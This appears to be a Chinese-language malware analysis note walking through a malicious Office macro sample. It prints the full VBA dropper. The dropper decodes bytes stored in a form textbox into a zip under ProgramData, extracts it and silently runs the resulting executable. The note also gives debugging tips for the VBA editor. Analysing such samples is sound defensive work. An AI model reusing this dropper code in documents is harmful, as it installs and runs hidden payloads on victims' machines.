样本HASH:02BA9703D1F250B411EA4C868D17FD2E
先打开样本,发现是老版的宏警告。
然后点击启用宏,ALT+F11查看宏代码(打开之前可以按住shift,防止一切宏运行,但很多时候不好使),然后找到宏开始的地方,然后开始调试。
CTRL+F8运行到光标处,然后F8开始单步。
Sub userNaveLoadr()
Dim path_Nave_file As String
Dim file_Nave_name As String
Dim zip_Nave_file As Variant
Dim fldr_Nave_name As Variant
Dim byt() As Byte
Dim ar1Nave() As String
file_Nave_name = "hargardius"
fldr_Nave_name = Environ$("ALLUSERSPROFILE") & "\Mldhrab\" 'C:\ProgramData\Mldhrab\
If Dir(fldr_Nave_name, vbDirectory) = "" Then '判断有没有C:\ProgramData\Mldhrab\目录,没有就创建一个
MkDir (fldr_Nave_name)
End If
zip_Nave_file = fldr_Nave_name & file_Nave_name & ".zip" '拼接为"C:\ProgramData\Mldhrab\hargardius.zip"
path_Nave_file = fldr_Nave_name & file_Nave_name & ".exe" '拼接为"C:\ProgramData\Mldhrab\hargardius.exe"
Dim arr
arr = Split(Application.OperatingSystem, " ") '返回当前操作系统的名称和版本号,并使用空格分隔开。"Windows""(32-bit)""NT""6.01"
If arr(3) = "6.02" Or arr(3) = "6.03" Then
ar1Nave = Split(UserForm.weNaveBox.Text, "-")
Else
ar1Nave = Split(UserForm.wsNaveBox.Text, "-") '里面的值是窗体里的值
End If
Dim btsNave() As Byte
Dim linNave As Double
linNave = 0
For Each vl In ar1Nave '把ar1Nave数组里面的值按字节读取到btsNave数组中
ReDim Preserve btsNave(linNave)
btsNave(linNave) = CByte(vl)
linNave = linNave + 1
Next
Open zip_Nave_file For Binary Access Write As #2 '在C:\ProgramData\Mldhrab\目录生成hargardius.zip
Put #2, , btsNave
Close #2
If Len(Dir(path_Nave_file)) = 0 Then '如果C:\ProgramData\Mldhrab\hargardius.exe长度为0,则解压C:\ProgramData\Mldhrab\hargardius.zip
Call unNavezip(zip_Nave_file, fldr_Nave_name)
End If
Shell path_Nave_file, vbNormalNoFocus '执行exe文件
End Sub
'解压函数
Sub unNavezip(Fname As Variant, FileNameFolder As Variant)
Dim FSO As Object
Dim oApp As Object
'Extract the files into the Destination folder
Set oApp = CreateObject("Shell.Application")
oApp.Namespace(FileNameFolder).CopyHere oApp.Namespace(Fname).items, &H4
End Sub
这个宏代码比较简单,都没做混淆。现在来看Shell path_Nave_file, vbNormalNoFocus 做了什么,首先是shell函数。
我们有多种方法来查看shell执行了什么:
一、Msgbox,万能弹窗
写代码 :MsgBox path_Nave_file
设断点
执行
二、Debug.print,立即数窗口输出
写代码 :Debug.Print path_Nave_file
设断点
执行
三、添加监视
通过添加监视,可以发现vbNormalNoFocus为shell函数的参数,值为4
EXE有空在分析,后面补上.......